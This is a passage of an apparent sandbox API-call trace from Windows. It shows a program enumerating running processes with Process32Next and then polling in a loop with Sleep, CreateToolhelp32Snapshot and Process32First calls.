hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0151.347] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0151.348] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.350] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0151.352] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0151.353] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0151.355] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0151.357] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0151.363] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.366] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.368] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0151.371] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.375] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.378] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.382] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.386] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.389] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.391] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.394] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0151.396] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0151.398] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0151.400] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.402] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0151.403] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0151.406] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0151.408] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0151.409] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0151.411] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0151.413] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0151.414] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0151.417] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.418] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0151.420] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0151.422] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0151.423] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0151.425] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0151.428] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0151.430] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0151.432] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0151.433] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0151.435] Process32Next (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0151.495] Sleep (dwMilliseconds=0x64) [0151.496] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0151.509] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.590] Sleep (dwMilliseconds=0x64) [0151.597] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa1c [0151.694] Process32First (in: hSnapshot=0xa1c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.762] Sleep (dwMilliseconds=0x64) [0151.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb7c [0151.845] Process32First (in: hSnapshot=0xb7c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0151.978] Sleep (dwMilliseconds=0x64) [0152.023] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.034] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.127] Sleep (dwMilliseconds=0x64) [0152.129] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.262] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.339] Sleep (dwMilliseconds=0x64) [0152.340] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.387] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.454] Sleep (dwMilliseconds=0x64) [0152.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.470] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.552] Sleep (dwMilliseconds=0x64) [0152.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.564] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.658] Sleep (dwMilliseconds=0x64) [0152.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x191c [0152.674] Process32First (in: hSnapshot=0x191c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.738] Sleep (dwMilliseconds=0x64) [0152.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0152.770] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.840] Sleep (dwMilliseconds=0x64) [0152.841] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0152.853] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0152.934] Sleep (dwMilliseconds=0x64) [0152.960] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0152.971] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.131] Sleep (dwMilliseconds=0x64) [0153.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0153.149] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.295] Sleep (dwMilliseconds=0x64) [0153.297] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0153.310] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.418] Sleep (dwMilliseconds=0x64) [0153.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0153.470] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.562] Sleep (dwMilliseconds=0x64) [0153.564] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0153.577] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.669] Sleep (dwMilliseconds=0x64) [0153.671] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0153.683] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.768] Sleep (dwMilliseconds=0x64) [0153.772] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0153.788] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.863] Sleep (dwMilliseconds=0x64) [0153.865] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0153.880] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.995] Sleep (dwMilliseconds=0x64) [0153.997] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0154.008] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.107] Sleep (dwMilliseconds=0x64) [0154.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0154.121] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.231] Sleep (dwMilliseconds=0x64) [0154.233] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0154.249] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.354] Sleep (dwMilliseconds=0x64) [0154.356] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0154.368] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.462] Sleep (dwMilliseconds=0x64) [0154.464] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c8 [0154.480] Process32First (in: hSnapshot=0x12c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.603] Sleep (dwMilliseconds=0x64) [0154.604] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0154.647] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.718] Sleep (dwMilliseconds=0x64) [0154.720] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0154.732] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.826] Sleep (dwMilliseconds=0x64) [0154.831] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0154.843] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0154.929] Sleep (dwMilliseconds=0x64) [0154.932] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0154.967] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.049] Sleep (dwMilliseconds=0x64) [0155.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0155.065] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.161] Sleep (dwMilliseconds=0x64) [0155.163] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11a4 [0155.178] Process32First (in: hSnapshot=0x11a4, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.250] Sleep 